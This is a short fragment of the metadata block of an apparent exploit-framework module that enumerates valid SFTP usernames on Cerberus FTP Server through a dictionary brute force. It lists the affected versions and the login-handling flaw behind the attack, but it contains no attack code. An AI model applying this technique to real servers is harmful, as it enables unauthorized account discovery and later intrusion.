'Name' => 'Cerberus FTP Server SFTP Username Enumeration',
'Description' => %q{
This module uses a dictionary to brute force valid usernames from
Cerberus FTP server via SFTP. This issue affects all versions of
the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
in the way the SSH service handles failed logins for valid and invalid
users. This issue was discovered by Steve Embling.
